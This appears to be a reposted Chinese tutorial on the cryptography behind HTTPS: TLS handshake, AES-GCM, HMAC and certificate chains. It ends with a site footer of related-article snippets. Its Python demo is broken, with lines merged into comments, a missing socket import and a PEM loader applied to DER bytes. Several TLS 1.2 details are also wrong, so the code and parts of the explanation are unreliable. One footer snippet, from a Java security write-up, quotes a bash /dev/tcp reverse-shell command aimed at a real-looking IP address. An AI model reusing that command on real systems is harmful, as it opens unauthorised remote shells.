網絡通信安全:HTTPS協議的密碼學基石

引言:從HTTP到HTTPS的安全升級

在網絡通信中,數據傳輸的安全性至關重要。早期的HTTP協議采用明文傳輸,存在三大安全隱患:

  • 機密性問題:數據在傳輸過程中可能被竊聽(如公共Wi-Fi中的監聽);
  • 完整性問題:數據可能被篡改(如中間人修改轉賬金額);
  • 真實性問題:無法確認通信對方是否為偽造的服務器(如釣魚網站)。

HTTPS(Hypertext Transfer Protocol Secure) 則通過集成TLS/SSL協議,從密碼學層面解決了這些問題。其核心是“加密傳輸+身份認證”,而實現這一切的底層支撐正是密碼學中的非對稱加密、對稱加密、哈希函數與數字證書技術。

HTTPS協議:TLS/SSL的密碼學流程

HTTPS并非獨立協議,而是“HTTP + TLS/SSL”的組合。TLS(Transport Layer Security)是SSL(Secure Sockets Layer)的繼任者,目前主流版本為TLS 1.2和TLS 1.3。其核心流程可分為握手階段會話階段完整性校驗,輔以證書鏈機制確保身份真實性。

1. 握手階段:用非對稱加密交換對稱密鑰

握手階段是HTTPS最核心的密碼學交互過程,目標是在客戶端和服務器之間安全地協商出一個對稱會話密鑰(用于后續數據加密),同時驗證服務器身份。

為什么需要“非對稱加密交換對稱密鑰”?
  • 對稱加密(如AES)效率高,適合加密大量數據,但密鑰分發困難(直接傳輸密鑰易被竊聽);
  • 非對稱加密(如RSA、ECDHE)可解決密鑰分發問題(公鑰公開,私鑰保密),但加密效率低,不適合大量數據。

因此,HTTPS采用“非對稱加密協商對稱密鑰,對稱加密傳輸數據”的混合方案。

握手階段的核心步驟(以TLS 1.2為例):
  1. 客戶端Hello
    客戶端向服務器發送支持的TLS版本、加密套件列表(如ECDHE-ECDSA-AES256-GCM-SHA384)、隨機數ClientRandom,并生成一個臨時的橢圓曲線公鑰(若使用ECDHE)。

  2. 服務器Hello
    服務器選擇雙方都支持的最高TLS版本和加密套件(如選定ECDHE+AES-GCM),返回隨機數ServerRandom、服務器的橢圓曲線公鑰(若用ECDHE),并發送服務器數字證書

  3. 客戶端驗證證書
    客戶端解析證書,通過證書鏈驗證其真實性(詳見“證書鏈機制”部分),確認服務器身份后,提取證書中的服務器公鑰。

  4. 密鑰交換

    • 若使用ECDHE(橢圓曲線Diffie-Hellman ephemeral)
      客戶端用服務器的橢圓曲線公鑰和自己的臨時私鑰計算共享密鑰,再結合ClientRandomServerRandom生成預主密鑰(Pre-Master Secret)
    • 若使用RSA
      客戶端生成預主密鑰,用服務器的RSA公鑰加密后發送給服務器,服務器用私鑰解密。
  5. 生成會話密鑰
    客戶端和服務器分別用ClientRandomServerRandom和預主密鑰,通過PRF(偽隨機函數)生成主密鑰(Master Secret),再派生出會話密鑰(用于對稱加密)MAC密鑰(用于完整性校驗)

  6. 握手完成
    雙方發送“握手完成”消息(用新生成的會話密鑰加密),確認后續數據將用此密鑰加密。

關鍵安全特性:前向保密(Forward Secrecy)
  • 若使用ECDHE密鑰交換,每次握手會生成臨時的公私鑰對,即使服務器私鑰泄露,也無法解密歷史通信(因會話密鑰由臨時密鑰生成);
  • RSA密鑰交換不支持前向保密(會話密鑰依賴服務器私鑰),因此現代HTTPS優先選擇ECDHE。

2. 會話階段:用對稱加密傳輸數據

握手完成后,客戶端和服務器進入數據傳輸階段,此時使用對稱加密算法(如AES)加密應用層數據(HTTP請求/響應)。

常用對稱加密方案:
  • AES-GCM:AES在GCM模式下同時提供加密(機密性)和認證(完整性),是TLS 1.2/1.3的主流選擇;
  • ChaCha20-Poly1305:在不支持AES硬件加速的設備(如移動終端)上更高效,常用于移動端HTTPS。

對稱加密的優勢是速度快(比RSA快100-1000倍),能支撐高并發的網絡通信(如電商網站的大量請求)。

3. 完整性校驗:用HMAC確保數據未被篡改

僅加密無法防止數據被篡改(如中間人截獲密文后修改再轉發)。HTTPS通過HMAC(哈希消息認證碼) 實現完整性校驗,其原理是:

  1. 發送方用MAC密鑰對“明文+隨機數”計算HMAC值(如HMAC-SHA256),并將HMAC值與密文一起發送;
  2. 接收方用相同的MAC密鑰和算法重新計算HMAC,若與收到的HMAC一致,則數據未被篡改。

在GCM等認證加密模式中,HMAC已集成到加密流程中(通過GMAC實現),無需額外計算,進一步提升效率。

4. 證書鏈機制:解決公鑰真實性問題

握手階段中,服務器需要向客戶端證明“我就是我”,否則中間人可能偽造服務器并替換公鑰(中間人攻擊)。這一問題通過數字證書鏈解決。

數字證書的核心內容:

數字證書是由CA(Certificate Authority,證書頒發機構) 簽發的電子文件,包含:

  • 服務器的域名、公鑰(用于密鑰交換);
  • CA的數字簽名(用CA私鑰對證書內容加密);
  • 證書有效期、用途等元數據。
證書鏈驗證流程:

客戶端驗證服務器證書的過程類似“驗證身份證”:

  1. 客戶端收到服務器證書后,提取證書中的“簽發CA”信息(如“Let’s Encrypt”);
  2. 查找本地信任的“根CA證書”(操作系統或瀏覽器預裝,如Verisign、GlobalSign),若簽發CA是根CA,則直接用根CA公鑰驗證服務器證書的簽名(解密簽名并比對證書哈希);
  3. 若簽發CA是中間CA(如“Cloudflare”),則先驗證中間CA證書的簽名(用根CA公鑰),再用中間CA的公鑰驗證服務器證書的簽名,形成“服務器證書→中間CA證書→根CA證書”的信任鏈
  4. 若所有簽名驗證通過,且證書未過期、域名匹配,則確認服務器公鑰真實有效。
為什么根CA可信?

根CA的公鑰預裝在操作系統或瀏覽器中,其私鑰由CA嚴格保管。用戶信任操作系統廠商(如微軟、蘋果)和瀏覽器廠商(如Chrome、Firefox)對根CA的審核,從而間接信任根CA簽發的證書。

實戰:用Python驗證HTTPS的密碼學機制

以下代碼用requests庫演示HTTPS通信,并通過ssl模塊查看證書信息,直觀感受其安全機制:

import requests
import ssl
from cryptography.x509 import load_pem_x509_certificate
from cryptography.hazmat.backends import default_backend# 1. 發起HTTPS請求(自動驗證證書)
response = requests.get("https://www.baidu.com")
print(f"HTTPS響應狀態碼:{response.status_code}")# 2. 查看服務器證書信息
context = ssl.create_default_context()
with context.wrap_socket(socket.socket(), server_hostname="www.baidu.com") as sock:sock.connect(("www.baidu.com", 443))# 獲取證書鏈(PEM格式)cert_chain = sock.getpeercert(binary_form=True)# 解析服務器證書cert = load_pem_x509_certificate(cert_chain[0], default_backend())print(f"\n服務器公鑰算法:{cert.public_key()._backend._key.curve.name if 'EC' in cert.signature_algorithm_oid._name else 'RSA'}")print(f"證書簽發者:{cert.issuer.rfc4514_string()}")print(f"證書有效期:{cert.not_valid_before}{cert.not_valid_after}")# 3. 演示禁用證書驗證的風險(禁止在生產環境使用!)
try:# 禁用證書驗證會導致中間人攻擊風險response = requests.get("https://www.baidu.com", verify=False)print("\n警告:禁用證書驗證后,請求仍能成功,但存在安全風險!")
except Exception as e:print(f"錯誤:{e}")

代碼說明

  • 正常HTTPS請求會自動驗證證書鏈,若證書無效(如自簽名)則拋出SSLError
  • 禁用證書驗證(verify=False)會繞過身份認證,可能遭受中間人攻擊;
  • 證書解析可查看服務器使用的公鑰算法(RSA或ECC)、簽發機構等信息,印證前文的密碼學流程。

總結:HTTPS的密碼學保障體系

HTTPS通過TLS/SSL協議,將多種密碼學技術有機結合,形成完整的安全保障:

  • 機密性:握手階段用ECDHE/RSA協商對稱密鑰,會話階段用AES等對稱加密傳輸數據;
  • 完整性:通過HMAC或GCM模式的認證機制,確保數據未被篡改;
  • 真實性:基于CA的證書鏈機制,驗證服務器身份,防止中間人攻擊。

理解HTTPS的密碼學原理,不僅能幫助開發者排查網絡安全問題(如證書錯誤),更能在設計安全系統時,合理選擇加密方案,構建可靠的通信安全防線。

參考資料

  1. RFC 8446:TLS 1.3協議規范
  2. 《HTTPS權威指南》(Ivan Ristic)
  3. Mozilla SSL配置指南:https://ssl-config.mozilla.org/
  4. 瀏覽器信任的根CA列表:https://ccadb-public.secure.force.com/

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/95210.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/95210.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/95210.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

pip 和 conda,到底用哪個安裝?

為什么 pip 有時裝不下來而 --prefer-binary 可以?什么是源代碼發行版?什么是輪子?conda 和 pip 有什么區別?優先用誰啊?兩者適合的場景(何時用哪個)安裝路徑:pip / conda 分別裝到哪…

bert學習

首先了解一下幾種embedding。比如elmo就是一個embedding模型。one-hot編碼只能實現one word one embedding,而我們的elmo能實現one token one embeddingElmo是基于雙向LSTM,所以每個詞其實會有正向和反向兩個預測結果,那么我們用哪個呢&#…

Java安全-組件安全

一、Xstream啟動環境并訪問接下來我們構造反彈shell語句,bash -i >& /dev/tcp/8.152.2.86/9999 0>&1,緊接著對其進行base64編碼。接下來使用命令即可首先開啟監聽接下來執行命令接下來抓包對其進行payload構造即可緊接著回去查看回顯發現成…

【10】微網優聯——微網優聯 嵌入式技術一面,校招,面試問答記錄

微網優聯——微網優聯 嵌入式技術一面,校招,問答記錄 1. 2 分鐘簡單自自我介紹2. 問一遍筆試題目3. IP地址在哪個層4.手動配置過IP地址嗎?要配哪幾個?5. ARP 是域名找IP地址還是IP地址找域名?6. Linux、計算機網絡、操作系統掌握的怎么樣&a…

C#使用EPPlus讀寫Excel

依賴EPPlus 獲取依賴可以閱讀:Nuget For Unity插件介紹_nugetforunity-CSDN博客 可以參閱該篇快速入門:在Unity中使用Epplus寫Excel_unity epplus-CSDN博客 下面是我封裝的幾個方法: 要在合適的時機配置許可證,比如你的工具類的靜態函數.建議使用版本7.7.1 #region Excel封裝,…

高性能Web服務器

一、Web服務基礎介紹 1.1、互聯網發展歷程 1993年3月2日,中國科學院高能物理研究所租用AT&T公司的國際衛星信道建立的接入美國SLAC國家實驗室的64K專線正式開通,成為我國連入Internet的第一根專線。 1995年馬云開始創業并推出了一個web網站中國黃…

《算法導論》第 16 章 - 貪心算法

大家好!今天我們來深入探討《算法導論》第 16 章的核心內容 —— 貪心算法。貪心算法是一種在每一步選擇中都采取在當前狀態下最好或最優(即最有利)的選擇,從而希望導致結果是全局最好或最優的算法。它在許多優化問題中都有廣泛應…

Redis面試精講 Day 18:Redis網絡優化與連接管理

【Redis面試精講 Day 18】Redis網絡優化與連接管理 開篇 歡迎來到"Redis面試精講"系列第18天,今天我們將深入探討Redis網絡優化與連接管理技術。在分布式系統中,Redis的網絡性能和連接管理直接影響整個系統的響應速度和穩定性。掌握這些優化…

Centos8系統在安裝Git包時,報錯:“沒有任何匹配: git”

報錯類型: sudo dnf install git Repository AppStream is listed more than once in the configuration Repository BaseOS is listed more than once in the configuration Repository extras is listed more than once in the configuration Repository fasttrac…

glide緩存策略和緩存命中

一 緩存策略 1 Glide 的 diskCacheStrategy() 一共有 5 種枚舉值(DiskCacheStrategy),每種的作用和區別如下:1. DiskCacheStrategy.ALL 作用:同時緩存原始圖片(原圖數據)和經過變換(…

如何將PDF文檔進行高效編輯處理!

PDF文件可以在任何設備上以相同的格式查看,無論操作系統或軟件環境如何,可以確保修改后的文檔仍然保持原有的布局和格式。它完全免費,下載后雙擊即可運行,無需安裝,使用非常方便。它具備出色的文本編輯功能&#xff0c…

應用層模擬面試題

模擬面試-C第一題(開發音視頻處理模塊)在開發音視頻處理模塊時,FFmpeg資源(AVFrame*)需要自動釋放。如何用unique_ptr定制刪除器替代手動av_frame_free()?寫出代碼并解釋RAII優勢。參考答案:auto frame_deleter[](AVFr…

分享一款基于STC8H8K32U-45I-LQFP48單片機的4路數字量輸入輸出模塊

4路數字量輸入輸出模塊產品說明產品特性輸入部分: 4路光耦隔離數字量輸入通道支持NPN和PNP兩種輸入方式,可通過撥碼開關切換輸入電壓范圍:10-30VDC典型應用:可連接按鈕開關、接近開關、光電傳感器等數字信號設備輸出部分&#xff…

redis常見的性能問題

Redis 的性能問題通常源于配置不當、數據結構誤用、資源瓶頸或架構缺陷。以下是 Redis 常見的性能問題及優化方案,結合線上經驗整理:🧠 ?一、內存相關問題??1. 內存不足(OOM)???現象?:OOM errors、響…

Blender 基礎操作

基礎操作 一、視角控制 ①旋轉視角 : 拖動鼠標中鍵 ②平移視角 : shift 鼠標中鍵 ③放大\縮小 :鼠標滾輪 二、物體控制 1、重要 ① 移動物體 : G ② 旋轉物體 : R ③ 縮放物體 : S 2、不重要 ④ 新建物體 : shift A ⑤ 復制物體 : shift D…

Go 語言三大核心數據結構深度解析:數組、切片(Slice)與映射(Map)

🚀Go 語言三大核心數據結構深度解析:數組、切片(Slice)與映射(Map) 在 Go 語言的開發領域,數組、切片與映射 這三大核心數據結構猶如構建程序的基石,支撐著各類數據的存儲與處理。它…

《Webpack與Vite熱模塊替換機制深度剖析與策略抉擇》

從早期簡單的文件合并工具,到如今功能強大、高度自動化的Webpack和Vite,它們重塑了前端開發的流程與效率。而熱模塊替換(HMR, Hot Module Replacement)機制,作為其中關鍵的一環,更是成為開發者提升開發體驗、加速項目迭代的秘密武器。Webpack,作為前端構建領域的先驅者,…

虛擬樂隊“天鵝絨落日”:AI生成音樂引發的行業風暴

引言近日,音樂行業掀起了一陣關于一支名為“The Velvet Sundown”(天鵝絨落日)樂隊的新聞熱潮。原因何在?這支樂隊很可能并非真正的樂隊,其音樂也或許是由人工智能生成的。事實上,越來越多的共識認為&#…

c++ final override 關鍵字

1.finalfinal 防止子類繼承,用于類或虛函數,限制繼承或重寫class Base final {}; // Base類不能被繼承class Base { public:virtual void foo() final; // 禁止子類重寫foo() };2.overrideoverride 子類中重寫父類中函數,,僅用于…

劍橋大學最新研究:基于大語言模型(LLM)的分子動力學模擬框架,是MD的GPT時刻還是概念包裝?

近期,劍橋大學 Michele Vendruscolo 團隊在預印本平臺上發布了一項最新研究,提出了一個名為 MD-LLM 的框架,旨在為高效研究蛋白質動態提供一種全新的思路。簡單來說,他們希望借助大語言模型(LLM)&#xff0…